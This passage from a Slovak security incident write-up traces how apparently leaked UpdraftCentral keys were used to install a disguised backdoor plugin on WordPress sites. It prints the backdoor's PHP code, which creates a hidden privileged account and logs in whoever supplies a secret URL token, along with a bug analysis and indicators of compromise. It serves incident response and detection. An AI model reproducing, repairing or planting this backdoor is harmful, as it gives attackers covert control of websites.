style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> pre\u0161iel na dvoch weboch celou touto kontrolou. Podrobne sme to rozobrali na webe A a vyl\u00fa\u010dili sme tieto vysvetlenia:<\/p>\n<ol type=\"1\">\n<li><strong>Zn\u00e1ma zranite\u013enos\u0165 CVE-2026-10795.<\/strong> T\u00fdka sa verzi\u00ed UpdraftPlus do 1.26.4 (pr\u00e9miov\u00e1 do 2.26.4). Na\u0161e weby mali 2.26.11. Pokusy o jej zneu\u017eitie vid\u00edme na weboch B a C v logoch od j\u00fana z desiatok IP adries a v\u0161etky skon\u010dili hl\u00e1\u0161kou \u201eCould not decrypt incoming message\u201c.<\/li>\n<li><strong>Upraven\u00fd plugin.<\/strong> S\u00fabory <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc2.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/bootstrap.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/listener.php<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/host.php<\/code> s\u00fa bajt po bajte zhodn\u00e9 s ofici\u00e1lnou verziou 1.26.11 z wordpress.org.<\/li>\n<li><strong>Star\u0161\u00ed form\u00e1t spr\u00e1v bez podpisu.<\/strong> K\u00f3d ho pre k\u013e\u00fa\u010de UpdraftCentral odmieta a z\u00e1znam \u201eCommand received\u201c vznik\u00e1 a\u017e po tejto kontrole.<\/li>\n<li><strong>Podvrhnut\u00fd k\u013e\u00fa\u010d dashboardu.<\/strong> Odtla\u010dky k\u013e\u00fa\u010dov s\u00fa rovnak\u00e9 v denn\u00fdch z\u00e1loh\u00e1ch z 15. a\u017e 18. okt\u00f3bra aj v \u017eivej datab\u00e1ze a v access logoch nikto nevolal funkciu na v\u00fdmenu k\u013e\u00fa\u010da.<\/li>\n<li><strong>Slab\u00e1 kryptografia.<\/strong> K\u013e\u00fa\u010d webu aj dashboardu maj\u00fa RSA 2048 bitov s exponentom 65537 a UpdraftPlus obsahuje phpseclib 2.0.55, v ktorej je opraven\u00e1 zn\u00e1ma chyba v overovan\u00ed podpisov.<\/li>\n<li><strong>Napadnut\u00fd wp-admin.<\/strong> Nezn\u00e1mi administr\u00e1tori nepribudli, kontroln\u00e9 s\u00fa\u010dty jadra aj pluginov sedia a v logoch nie je \u017eiadne nahratie pluginu cez administr\u00e1ciu.<\/li>\n<\/ol>\n<p>\u00dato\u010dn\u00edk teda mal s\u00fakromn\u00e9 k\u013e\u00fa\u010de dashboardu pre v\u0161etky tri spojenia naraz. Na na\u0161ich serveroch tieto k\u013e\u00fa\u010de nikdy neboli, tak\u017ee odtia\u013e unikn\u00fa\u0165 nemohli. Pr\u00edkazy pritom nepri\u0161li zo servera TeamUpdraft. Skuto\u010dn\u00fd dashboard posielal na web B v marci a apr\u00edli 2026 pr\u00edkazy s hlavi\u010dkou User-Agent:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\n<p>\u00dato\u010dn\u00edk posielal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, bez verzie kni\u017enice a bez URL, zo svojho servera. K\u013e\u00fa\u010de teda unikli z prostredia UpdraftCentral Cloud a \u00fato\u010dn\u00edk ich pou\u017eil mimo neho.<\/p>\n<p>TeamUpdraft 19. okt\u00f3bra potvrdil, \u017ee cez v\u00edkend 17. a 18. okt\u00f3bra mal \u00fato\u010dn\u00edk pr\u00edstup na teamupdraft.com a pravdepodobne aj k z\u00e1kazn\u00edckej datab\u00e1ze vr\u00e1tane k\u013e\u00fa\u010dov UpdraftCentral. K\u013e\u00fa\u010de teda unikli z infra\u0161trukt\u00fary v\u00fdrobcu. Zodpoved\u00e1 tomu aj \u010dasov\u00e1 os: k\u013e\u00fa\u010de pre weby B a C existovali od novembra 2025 a \u00fato\u010dn\u00edk ich nepou\u017eil a\u017e do noci z 18. na 19. okt\u00f3bra, teda hne\u010f po \u00faniku. Ako sa \u00fato\u010dn\u00edk na teamupdraft.com dostal, v\u00fdrobca neuviedol.<\/p>\n<p>Na webe C \u00fatok zlyhal pre n\u00e1hodu. K\u013e\u00fa\u010d tam v novembri 2025 vytvoril pou\u017e\u00edvate\u013e, ktor\u00fd u\u017e nie je administr\u00e1tor. UpdraftCentral pred in\u0161tal\u00e1ciou overuje, \u010di m\u00e1 vlastn\u00edk k\u013e\u00fa\u010da pr\u00e1va <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">activate_plugins<\/code>. Nemal ani jedno.<\/p>\n<h2 id=\"pre\u010do-ide-o-kritick\u00fd-probl\u00e9m-updraftcentral\">Pre\u010do ide o kritick\u00fd probl\u00e9m UpdraftCentral<\/h2>\n<p>Klient UpdraftCentral je s\u00fa\u010das\u0165ou ka\u017edej k\u00f3pie UpdraftPlus, bezplatnej aj pr\u00e9miovej. Zapne sa, ke\u010f majite\u013e pripoj\u00ed web k dashboardu. Odvtedy web vykon\u00e1 ka\u017ed\u00fd pr\u00edkaz podp\u00edsan\u00fd k\u013e\u00fa\u010dom dashboardu s pr\u00e1vami administr\u00e1tora, ktor\u00fd spojenie vytvoril, vr\u00e1tane nahratia a aktiv\u00e1cie \u013eubovo\u013en\u00e9ho pluginu. Majite\u013e webu pr\u00edkaz nepotvrdzuje a v na\u0161om pr\u00edpade n\u00e1s o \u0148om ni\u010d neupozornilo. K\u013e\u00fa\u010de na strane webu nemaj\u00fa dobu platnosti: tie z novembra 2025 fungovali aj v okt\u00f3bri 2026.<\/p>\n<p>Bezpe\u010dnos\u0165 v\u0161etk\u00fdch pripojen\u00fdch webov tak stoj\u00ed na jedinom predpoklade, \u017ee s\u00fakromn\u00e9 k\u013e\u00fa\u010de dashboardu neunikn\u00fa. Unikli, a \u00fato\u010dn\u00edk z jedn\u00e9ho miesta za p\u00e1r hod\u00edn ovl\u00e1dol dva weby a pok\u00fasil sa o tret\u00ed. UpdraftPlus m\u00e1 viac ako 4 mili\u00f3ny akt\u00edvnych in\u0161tal\u00e1ci\u00ed. Po\u010dtom in\u0161tal\u00e1ci\u00ed ho medzi pluginmi so z\u00e1lohovan\u00edm na wordpress.org predbieha iba All-in-One WP Migration (5+ mili\u00f3nov), ktor\u00fd sl\u00fa\u017ei hlavne na migr\u00e1ciu webov. UpdraftCentral pou\u017e\u00edva len \u010das\u0165 pou\u017e\u00edvate\u013eov UpdraftPlus, aj mal\u00fd podiel zo 4 mili\u00f3nov v\u0161ak znamen\u00e1 ve\u013ea webov.<\/p>\n<p>Ten ist\u00fd kan\u00e1l u\u017e raz zlyhal. V j\u00fani 2026 v\u00fdrobca opravil zranite\u013enos\u0165 CVE-2026-10795 (CVSS 8.1), cez ktor\u00fa mohol \u00fato\u010dn\u00edk bez prihl\u00e1senia podvrhn\u00fa\u0165 pr\u00edkazy UpdraftCentral a nain\u0161talova\u0165 a aktivova\u0165 \u0161kodliv\u00fd plugin. Pokusy o jej zneu\u017eitie zachyt\u00e1vame v na\u0161ich logoch dodnes.<\/p>\n<h2 id=\"\u010do-presne-backdoor-rob\u00ed\">\u010co presne backdoor rob\u00ed<\/h2>\n<p>Plugin m\u00e1 p\u00e4\u0165 s\u00faborov, ale logiku obsahuje iba hlavn\u00fd. Tu je jeho podstatn\u00e1 \u010das\u0165 zo vzorky z webu A. Token a heslo sme skr\u00e1tili:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">define( &#39;LOADSTACK35C_TOKEN&#39;, &#39;j0j8nxxH\u2026&#39; );      \/\/ 32 znakov\ndefine( &#39;LOADSTACK35C_FIELD&#39;, &#39;_9f5696&#39; );\ndefine( &#39;LOADSTACK35C_SVC_LOGIN&#39;, &#39;data-ops43&#39; );\ndefine( &#39;LOADSTACK35C_SVC_PASS&#39;, &#39;L7sfkZMw\u2026&#39; );    \/\/ 22 znakov\n\nfinal class LoadStack35c {\n    private function __construct() {\n        add_action( &#39;init&#39;, array( $this, &#39;handle_sync&#39; ), 1 );\n    }\n\n    public function handle_sync() {\n        if ( isset( $_GET[ self::FIELD ] ) &amp;&amp; hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n            $user = get_user_by( &#39;login&#39;, self::SVC_LOGIN );\n            if ( ! $user ) {\n                $uid = wp_insert_user( array(\n                    &#39;user_login&#39;   =&gt; self::SVC_LOGIN,\n                    &#39;user_pass&#39;    =&gt; self::SVC_PASS,\n                    &#39;user_email&#39;   =&gt; self::SVC_LOGIN . &#39;@example.org&#39;,\n                    &#39;display_name&#39; =&gt; &#39;Site Tools&#39;,\n                    &#39;role&#39;         =&gt; &#39;editor&#39;,\n                ) );\n                if ( is_wp_error( $uid ) ) return;\n                $u = new WP_User( $uid );\n                $u-&gt;add_cap( &#39;manage_options&#39; );\n                $u-&gt;add_cap( &#39;install_plugins&#39; );\n                $user = get_user_by( &#39;id&#39;, $uid );\n            }\n            wp_set_current_user( $user-&gt;ID, $user-&gt;user_login );\n            wp_set_auth_cookie( $user-&gt;ID, true, is_ssl() );\n            wp_safe_redirect( admin_url( &#39;index.php&#39; ) );\n            exit;\n        }\n    }\n}\n\nregister_activation_hook( __FILE__, function () {\n    if ( ! get_option( &#39;load_stack_35c_sync_token&#39; ) ) {\n        update_option( &#39;load_stack_35c_sync_token&#39;, &#39;j0j8nxxH\u2026&#39;, false );\n    }\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\n<p>Takto by fungoval, keby v \u0148om nebola chyba:<\/p>\n<ol type=\"1\">\n<li>Pri ka\u017edej po\u017eiadavke na web sa zaves\u00ed na akciu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code> s prioritou 1, teda sk\u00f4r ne\u017e v\u00e4\u010d\u0161ina ostatn\u00fdch pluginov.<\/li>\n<li>Pozrie sa, \u010di adresa obsahuje parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?_9f5696=<\/code>, a jeho hodnotu porovn\u00e1 s 32-znakov\u00fdm tokenom. Porovn\u00e1va funkciou <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hash_equals<\/code>, ktor\u00e1 trv\u00e1 rovnako dlho bez oh\u013eadu na zhodu, tak\u017ee token sa ned\u00e1 uh\u00e1dnu\u0165 meran\u00edm \u010dasu odpovede. Bez spr\u00e1vneho tokenu sa nestane ni\u010d a web sa spr\u00e1va norm\u00e1lne.<\/li>\n<li>So spr\u00e1vnym tokenom vytvor\u00ed pou\u017e\u00edvate\u013ea <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code> s heslom zap\u00edsan\u00fdm v plugine, e-mailom <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43@example.org<\/code> a zobrazovan\u00fdm menom \u201eSite Tools\u201c.<\/li>\n<li>D\u00e1 mu rolu Editor a k tomu dve samostatn\u00e9 opr\u00e1vnenia: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code>.<\/li>\n<li>Prihl\u00e1si n\u00e1v\u0161tevn\u00edka ako tohto pou\u017e\u00edvate\u013ea cez <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_set_auth_cookie<\/code> s vo\u013ebou \u201ezapam\u00e4ta\u0165 si ma\u201c, teda cookie platnou 14 dn\u00ed. Prihlasovac\u00ed formul\u00e1r t\u00fdm \u00faplne ob\u00edde, tak\u017ee na\u0148 nep\u00f4sob\u00ed dvojfaktorov\u00e9 overenie, obmedzenie po\u010dtu pokusov ani ochrana prihl\u00e1senia vo Wordfence.<\/li>\n<li>Presmeruje ho do administr\u00e1cie.<\/li>\n<\/ol>\n<p>Rola Editor s dvoma opr\u00e1vneniami navy\u0161e je z\u00e1mer. V zozname pou\u017e\u00edvate\u013eov sa \u00fa\u010det ukazuje ako Editor, nie Administr\u00e1tor, tak\u017ee pri be\u017enej kontrole adminov ho prehliadnete. Prakticky m\u00e1 v\u0161ak pln\u00fa moc nad webom:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> dovol\u00ed nahra\u0165 \u013eubovo\u013en\u00fd plugin. Jeho PHP s\u00fabory sa daj\u00fa spusti\u0165 priamo cez URL aj bez aktiv\u00e1cie, \u010do znamen\u00e1 spustenie \u013eubovo\u013en\u00e9ho k\u00f3du na serveri.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> spr\u00edstupn\u00ed v\u0161etky nastavenia. Sta\u010d\u00ed zapn\u00fa\u0165 registr\u00e1ciu a predvolen\u00fa rolu nastavi\u0165 na administr\u00e1tora, a \u00fato\u010dn\u00edk si vytvor\u00ed plnohodnotn\u00e9ho admina.<\/li>\n<li>Editor m\u00e1 na be\u017enom WordPresse aj <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">unfiltered_html<\/code>, tak\u017ee m\u00f4\u017ee do \u010dl\u00e1nkov vlo\u017ei\u0165 JavaScript, ktor\u00fd sa spust\u00ed v prehliada\u010di ka\u017ed\u00e9ho administr\u00e1tora.<\/li>\n<\/ul>\n<p>Backdoor m\u00e1 aj druh\u00fa vrstvu. Vytvoren\u00fd \u00fa\u010det so zn\u00e1mym heslom ostane vo WordPresse aj po odstr\u00e1nen\u00ed pluginu a \u00fato\u010dn\u00edk sa n\u00edm vie prihl\u00e1si\u0165 cez be\u017en\u00fd formul\u00e1r, ak tento \u00fa\u010det nem\u00e1 zapnut\u00e9 dvojfaktorov\u00e9 overenie.<\/p>\n<h3 id=\"chyba-ktor\u00e1-n\u00e1s-zachr\u00e1nila\">Chyba, ktor\u00e1 n\u00e1s zachr\u00e1nila<\/h3>\n<p>Kon\u0161tanty s\u00fa definovan\u00e9 funkciou <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">define()<\/code> ako glob\u00e1lne (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">LOADSTACK35C_FIELD<\/code>), ale k\u00f3d ich \u010d\u00edta ako kon\u0161tanty triedy (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code>). Trieda \u017eiadne kon\u0161tanty nem\u00e1. PHP 8 preto pri prvom vyhodnoten\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code> vyhod\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Error: Undefined constant LoadStack35c::FIELD<\/code>. Stane sa to e\u0161te pred kontrolou tokenu, teda pri ka\u017edej po\u017eiadavke: pri be\u017enej n\u00e1v\u0161teve, v administr\u00e1cii, pri prihl\u00e1sen\u00ed, v REST API, pri crone aj vo WP-CLI. Web pad\u00e1 s chybou 500 a obsluhuje len str\u00e1nky ulo\u017een\u00e9 v cache.<\/p>\n<p>Po\u017eiadavka s in\u0161tal\u00e1ciou pritom dobehla \u00faspe\u0161ne. UpdraftCentral sprac\u00fava pr\u00edkazy a\u017e v akcii <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_loaded<\/code>, ktor\u00e1 prich\u00e1dza po <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code>, tak\u017ee v tej po\u017eiadavke sa chybn\u00fd k\u00f3d nespustil. \u00dato\u010dn\u00edk dostal potvrdenie o \u00faspechu a o chybe sa z odpovede nedozvedel. Spadli a\u017e nasleduj\u00face po\u017eiadavky.<\/p>\n<p>\u00dato\u010dn\u00edkovi v\u0161ak sta\u010d\u00ed opravi\u0165 p\u00e1r znakov a \u010fal\u0161ia vlna m\u00f4\u017ee fungova\u0165. <strong>Ak u seba n\u00e1jdete podobn\u00fd \u201epokazen\u00fd\u201c plugin, neopravujte ho.<\/strong> Oprava by backdoor zapla. Odstr\u00e1\u0148te ho.<\/p>\n<h3 id=\"\u010fal\u0161ie-detaily\">\u010eal\u0161ie detaily<\/h3>\n<ul>\n<li>Plugin sa tv\u00e1ri ako be\u017en\u00fd doplnok: m\u00e1 \u00fapln\u00fa hlavi\u010dku, licenciu GPL, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Text Domain<\/code>, popis \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a vymyslen\u00e9 vydavate\u013estvo (\u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c).<\/li>\n<li>S\u00fabory <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.css<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.js<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">languages\/readme.txt<\/code> obsahuj\u00fa iba koment\u00e1r. Plugin ich nikde nepou\u017e\u00edva, s\u00fa tam, aby prie\u010dinok vyzeral ako skuto\u010dn\u00fd plugin.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> pri odin\u0161talovan\u00ed z administr\u00e1cie zma\u017ee vo\u013eby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_setup_stamp<\/code>, teda stopy po sebe. Druh\u00fa vo\u013ebu k\u00f3d nikde nevytv\u00e1ra, je to pozostatok \u0161abl\u00f3ny.<\/li>\n<li>Pri aktiv\u00e1cii ulo\u017e\u00ed token do vo\u013eby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> bez automatick\u00e9ho na\u010d\u00edtania. K\u00f3d ju nikde ne\u010d\u00edta.<\/li>\n<li>Obe vzorky vyrobil ten ist\u00fd gener\u00e1tor. Ke\u010f v nich nahrad\u00edme n\u00e1zvy, tokeny, men\u00e1 a verzie z\u00e1stupn\u00fdmi re\u0165azcami, s\u00fa v\u0161etky s\u00fabory bajt po bajte zhodn\u00e9. N\u00e1zov m\u00e1 tvar <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">slovo-slovo-3 hex znaky<\/code>, parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_<\/code> a 6 hex znakov, pou\u017e\u00edvate\u013e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">slovo-slovo<\/code> a dve \u010d\u00edslice. Token m\u00e1 32 znakov a heslo 22 znakov (p\u00edsmen\u00e1, \u010d\u00edslice, pod\u010diarkovn\u00edk).<\/li>\n<\/ul>\n<h2 id=\"indik\u00e1tory-kompromit\u00e1cie\">Indik\u00e1tory kompromit\u00e1cie<\/h2>\n<table>\n<thead>\n<tr class=\"header\">\n<th><\/th>\n<th>Web A<\/th>\n<th>Web B<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Prie\u010dinok pluginu<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load-stack-35c<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text-gantry-eb0<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>N\u00e1zov \/ autor \/ verzia<\/td>\n<td>Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n<td>Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Parameter v URL<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_9f5696<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_3e9caa<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Pou\u017e\u00edvate\u013e<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-staff96<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Vo\u013eba v datab\u00e1ze<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load_stack_35c_sync_token<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>SHA-256 hlavn\u00e9ho s\u00faboru<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">bb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em 